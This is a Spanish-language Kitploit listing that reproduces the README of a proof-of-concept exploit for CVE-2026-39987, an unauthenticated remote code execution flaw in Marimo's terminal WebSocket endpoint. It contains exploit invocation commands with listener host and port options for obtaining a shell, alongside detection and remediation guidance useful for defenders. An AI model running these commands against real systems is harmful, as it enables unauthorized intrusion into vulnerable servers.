Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-39987 — Prueba de concepto de exploit para CVE-2026-39987, una RCE de pre-autenticación en el endpoint WebSocket de terminal de Marimo. Demuestra la ejecución de comandos sin autenticación e incluye pruebas de validación para instancias vulnerables y parcheadas. | Kitploit
Herramientas/GitHubGitHub/th3purge/cve-2026-39987
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
GitHubth3purge/cve-2026-39987

CVE-2026-39987

Prueba de concepto de exploit para CVE-2026-39987, una RCE de pre-autenticación en el endpoint WebSocket de terminal de Marimo. Demuestra la ejecución de comandos sin autenticación e incluye pruebas de validación para instancias vulnerables y parcheadas.

Ver Repositorio
1hace 7h 18mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-39987 Marimo RCE Pre-Autenticación


📋 Información de la Vulnerabilidad

PropiedadValor
CVECVE-2026-39987
ProductoMarimo
VulnerabilidadEjecución Remota de Código Pre-Autenticación
Vector de AtaqueRed
AutenticaciónNo requerida
Interacción del UsuarioNo requerida
CWECWE-306 — Autenticación faltante para Función Crítica
SeveridadCrítica
Versión Corregida0.23.0

CVE-2026-39987 es una vulnerabilidad crítica de Ejecución Remota de Código (RCE) pre-autenticación que afecta a Marimo, un entorno de notebooks Python reactivo. La vulnerabilidad se encuentra en el endpoint WebSocket de terminal /terminal/ws.


🔍 Causa Raíz

El endpoint de terminal vulnerable crea un PTY interactivo después de aceptar una conexión WebSocket.

Conceptualmente, el flujo de solicitud vulnerable es:

root@kitploit:~
Cliente Remoto
     |
     | Conexión WebSocket
     v
/terminal/ws
     |
     | Validación de autenticación faltante
     v
WebSocket aceptado
     |
     v
PTY creado
     |
     v
Shell interactivo

El límite de seguridad importante es la verificación de autenticación faltante.

Un endpoint que expone ejecución arbitraria de comandos no debe permitir que un cliente no autenticado alcance la lógica de creación del PTY.


🎯 Propósito y Alcance

Objetivo Principal

El propósito de este proyecto es demostrar, en un entorno controlado, la falta de aplicación de autenticación que afecta al endpoint WebSocket de terminal de Marimo.

Los equipos de seguridad pueden usar el proyecto para:

  • Validar la exposición de sus instancias de Marimo
  • Verificar la efectividad de los parches de seguridad
  • Documentar el impacto potencial de seguridad
  • Mejorar los controles defensivos
  • Respaldar la validación autorizada de vulnerabilidades

Entornos Autorizados

  • Laboratorios de seguridad propiedad del evaluador
  • Sistemas con autorización escrita explícita
  • Entornos de formación y educativos
  • Pruebas de penetración y evaluaciones de seguridad autorizadas

Advertencia: Ejecute el PoC solo contra sistemas que le pertenezcan o para los que tenga autorización explícita de prueba.


🔗 Cadena de Explotación

La cadena completa de la vulnerabilidad se puede resumir de la siguiente manera:

root@kitploit:~
1. El atacante descubre una instancia de Marimo expuesta
                |
                v
2. El atacante se conecta a /terminal/ws
                |
                v
3. La autenticación no se aplica
                |
                v
4. La conexión WebSocket es aceptada
                |
                v
5. Se crea el terminal PTY
                |
                v
6. El atacante obtiene ejecución de comandos
                |
                v
7. Los comandos se ejecutan como el proceso de Marimo

El fallo de seguridad crítico ocurre en el paso 3.


📦 Instalación

Requisitos

root@kitploit:~
Python 3.7+
pip
Acceso de red al objetivo autorizado

Dependencias

root@kitploit:~
# Instalación básica
pip install websocket-client

# Instalación completa
pip install websocket-client rich

Verificación

root@kitploit:~
python3 exploit.py --help

🚀 Guía de Uso

Sintaxis Básica

root@kitploit:~
python3 exploit.py -u <TARGET_URL> --lhost <LOCAL_IP> --lport <PORT>

Ejemplos Prácticos

1. Prueba en Laboratorio Local

root@kitploit:~
python3 exploit.py \
  -u http://127.0.0.1:8081 \
  --lhost 127.0.0.1 \
  --lport 4444

2. Prueba Remota Autorizada

root@kitploit:~
python3 exploit.py \
  -u https://marimo.example.com \
  --lhost 192.168.1.100 \
  --lport 5555 \
  --timeout 30 \
  --retries 5

3. Modo Depuración

root@kitploit:~
python3 exploit.py \
  -u http://target:8081 \
  --lhost 10.0.0.5 \
  --lport 9999 \
  --verbose \
  --no-verify-ssl \
  --retry-delay 1.5

📋 Referencia de Parámetros

ParámetroTipoDescripciónPredeterminado
-u, --urlstringURL base de la instancia de Marimo objetivoRequerido
--lhoststringDirección IP del listenerRequerido
--lportintPuerto del listener (1-65535)Requerido
--timeoutintTiempo de espera del listener en segundos15
--retriesintReintentos de conexión WebSocket3
--retry-delayfloatRetardo entre reintentos2.0
--no-verify-sslflagDeshabilitar verificación de certificado SSLFalse
-v, --verboseflagHabilitar salida detalladaFalse
-s, --silentflagSuprimir salidaFalse

🔄 Flujo de Trabajo del Exploit

root@kitploit:~
Fase 1: Inicialización
    ↓ Validar parámetros
    ↓ Configurar registro de eventos

Fase 2: Preparación
    ↓ Inicializar listener
    ↓ Establecer conexión WebSocket

Fase 3: Validación
    ↓ Probar endpoint de terminal
    ↓ Verificar aplicación de autenticación
    ↓ Registrar comportamiento de la conexión

Fase 4: Demostración
    ↓ Establecer sesión de prueba autorizada
    ↓ Verificar contexto de ejecución de comandos
    ↓ Recopilar evidencia de validación

Fase 5: Limpieza
    ↓ Restaurar estado del terminal
    ↓ Cerrar conexiones
    ↓ Liberar recursos

🧪 Pruebas de Validación

Escenarios de Prueba

Instancia Vulnerable

root@kitploit:~
python3 exploit.py \
  -u http://vulnerable:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

Resultado Esperado: El endpoint de terminal vulnerable acepta la conexión no autenticada.

Instancia Parcheada

root@kitploit:~
python3 exploit.py \
  -u http://patched:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

Resultado Esperado: La conexión es rechazada o prevenida por los controles de autenticación.

Prueba de Tiempo de Espera

root@kitploit:~
python3 exploit.py \
  -u http://firewalled:8081 \
  --lhost 10.0.0.1 \
  --lport 4444 \
  --timeout 5

Resultado Esperado: El tiempo de espera se informa correctamente.


📈 Estadísticas de la Vulnerabilidad

root@kitploit:~
Severidad:       Crítica (CVSS 9.3)
Complejidad:     Baja
Autenticación:   Ninguna requerida
Impacto:         Ejecución Remota de Código
Protocolo:       WebSocket
Endpoint:        /terminal/ws
Versión Corregida: 0.23.0

El README fuente clasifica el problema como CVSS 9.3 Crítico e identifica CWE-306, WebSocket como protocolo y /terminal/ws como el endpoint afectado.


🔎 Detección

Los indicadores potenciales de explotación incluyen conexiones WebSocket inesperadas a:

root@kitploit:~
/terminal/ws

Los defensores deben investigar:

  • Conexiones inesperadas al endpoint WebSocket de terminal
  • Procesos shell inesperados generados por Marimo
  • Procesos hijo sospechosos
  • Conexiones salientes inesperadas
  • Acceso a variables de entorno sensibles
  • Actividad inesperada en el sistema de archivos
  • Comandos desconocidos ejecutados por el proceso de Marimo

🛡️ Remediación

Actualice Marimo a una versión corregida:

root@kitploit:~
0.23.0 o posterior

Recomendaciones defensivas adicionales incluyen:

  • No exponga Marimo directamente a Internet público a menos que sea necesario.
  • Coloque los servicios de notebooks detrás de un proxy inverso autenticado.
  • Restrinja el acceso de red a usuarios y redes de confianza.
  • Ejecute Marimo con los privilegios mínimos requeridos.
  • Evite montar directorios host sensibles en contenedores.
  • Rote las credenciales que puedan haber sido accesibles para instancias comprometidas.
  • Revise los registros en busca de actividad sospechosa en /terminal/ws.
  • Investigue instancias potencialmente comprometidas en lugar de asumir que solo el parche elimina la persistencia del atacante.

🔐 Clasificación de Seguridad

root@kitploit:~
CVE:        CVE-2026-39987
CWE:        CWE-306
Severidad:  Crítica
Tipo:       RCE Pre-Autenticación
Protocolo:  WebSocket
Endpoint:   /terminal/ws
Auth:       Ninguna requerida
Corregido:  0.23.0

📄 Licencia

SOLO USO AUTORIZADO

Este proyecto se proporciona exclusivamente para:

  • Pruebas de seguridad autorizadas
  • Investigación académica
  • Validación de vulnerabilidades
  • Formación en seguridad
  • Desarrollo de seguridad defensiva

El uso no autorizado está estrictamente prohibido y puede violar las leyes locales e internacionales aplicables.


⚠️ Aviso Legal

Este proyecto se proporciona con fines de investigación en seguridad, validación de vulnerabilidades y educativos.

No utilice el PoC contra sistemas que no le pertenezcan o para los que no tenga autorización explícita de prueba.

Los mantenedores no son responsables del uso indebido, pruebas no autorizadas, daños, pérdida de datos o cualquier consecuencia derivada del uso de este proyecto.

Descargar herramienta